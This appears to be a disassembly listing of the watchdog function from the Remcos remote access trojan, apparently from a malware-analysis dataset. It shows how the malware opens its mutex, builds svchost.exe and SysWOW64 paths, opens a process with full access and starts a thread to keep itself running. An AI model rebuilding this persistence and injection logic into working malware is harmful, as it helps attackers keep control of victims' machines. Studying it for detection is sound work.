Function at 0xb32132
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x8c
push ebx
push esi
push edi
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push eax
mov ebx, 0xb952f0
push 0xb873b4
mov ecx, ebx
call fcn.00b21fab
mov edx, eax
call fcn.00b338b2
pop ecx
pop ecx
test al, al
jne 0xb3216e
xor eax, eax
inc eax
jmp 0xb32409
mov ecx, 0xb95418
call fcn.00b21fab
push eax
xor edi, edi
push edi
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenMutexA]
test eax, eax
je 0xb32214
push eax
call dword [sym.imp.KERNEL32.dll_CloseHandle]
sub esp, 0x18
mov ecx, esp
push str.Remcos_restarted_by_watchdog_
call fcn.00b22093
sub esp, 0x18
mov esi, 0xb85fb4
mov ecx, esp
push esi
call fcn.00b22093
call fcn.00b3b580
add esp, 0x18
mov ecx, esp
push str.Watchdog_module_activated
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push esi
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
push edi
push edi
push edi
push 0xb32829
push edi
push edi
call dword [sym.imp.KERNEL32.dll_CreateThread]
lea eax, [esp + 0x10]
mov esi, 0xb8c4f4
push eax
push esi
mov ecx, ebx
call fcn.00b21fab
mov edx, eax
call fcn.00b33584
pop ecx
pop ecx
test al, al
je 0xb32166
jmp 0xb3244b
lea ecx, [esp + 0x50]
call fcn.00b220df
mov ecx, 0xb952d8
call fcn.00b21f04
lea edx, [esp + 0x50]
mov ecx, eax
call fcn.00b3c516
lea ecx, [esp + 0x38]
call fcn.00b21f86
call fcn.00b3c048
test al, al
jne 0xb3229c
push 0xb8c4f8
lea ecx, [esp + 0x84]
call fcn.00b2417e
push eax
push str.WinDir
call fcn.00b5c11f
pop ecx
push eax
lea ecx, [esp + 0x70]
call fcn.00b2417e
mov edx, eax
lea ecx, [esp + 0x24]
call fcn.00b22fa5
pop ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00b21f13
lea ecx, [esp + 0x20]
call fcn.00b21f09
lea ecx, [esp + 0x68]
call fcn.00b21f09
lea ecx, [esp + 0x80]
jmp 0xb322f2
push str.SysWOW64_
lea ecx, [esp + 0x24]
call fcn.00b2417e
push eax
push str.WinDir
call fcn.00b5c11f
pop ecx
push eax
lea ecx, [esp + 0x70]
call fcn.00b2417e
mov edx, eax
lea ecx, [esp + 0x84]
call fcn.00b22fa5
pop ecx
push eax
lea ecx, [esp + 0x3c]
call fcn.00b21f13
lea ecx, [esp + 0x80]
call fcn.00b21f09
lea ecx, [esp + 0x68]
call fcn.00b21f09
lea ecx, [esp + 0x20]
call fcn.00b21f09
lea ecx, [esp + 0x14]
call fcn.00b2c9f0
push str.svchost.exe
lea ecx, [esp + 0x24]
call fcn.00b2417e
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.00b328b8
lea ecx, [esp + 0x20]
call fcn.00b21f09
push str.rmclient.exe
lea ecx, [esp + 0x24]
call fcn.00b2417e
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.00b328b8
lea ecx, [esp + 0x20]
call fcn.00b21f09
push str.fsutil.exe
lea ecx, [esp + 0x24]
call fcn.00b2417e
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x18]
call fcn.00b328b8
lea ecx, [esp + 0x20]
call fcn.00b21f09
lea ecx, [esp + 0x14]
call fcn.00b221fa
test eax, eax
je 0xb323b9
push 0xb92d64
lea ecx, [esp + 0x54]
call fcn.00b21fab
push edi
lea ecx, [esp + 0x1c]
mov esi, eax
call fcn.00b21e65
mov ecx, eax
call fcn.00b21f04
mov edx, esi
mov ecx, eax
call fcn.00b3812a
pop ecx
test al, al
jne 0xb32412
lea ecx, [esp + 0x14]
inc edi
call fcn.00b221fa
cmp edi, eax
jb 0xb3237c
sub esp, 0x18
mov ecx, esp
push str.Watchdog_launch_failed_
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85f18
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
push dword [0xb92d74]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
lea ecx, [esp + 0x14]
call fcn.00b26b17
lea ecx, [esp + 0x38]
call fcn.00b21f09
lea ecx, [esp + 0x50]
call fcn.00b21fd8
push 3
pop eax
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret 4
sub esp, 0x18
mov ecx, esp
push str.Watchdog_module_activated
call fcn.00b22093
sub esp, 0x18
mov ecx, esp
push 0xb85fb4
call fcn.00b22093
call fcn.00b3b580
add esp, 0x30
push 0x7d0
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [0xb92d6c]
jmp 0xb32474
push dword [esp + 0x10]
push edi
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push esi
mov ecx, ebx
mov dword [0xb92d64], eax
call fcn.00b21fab
mov edx, eax
call fcn.00b339e4
pop ecx
mov ecx, dword [esp + 0x10]
call fcn.00b3247a
int3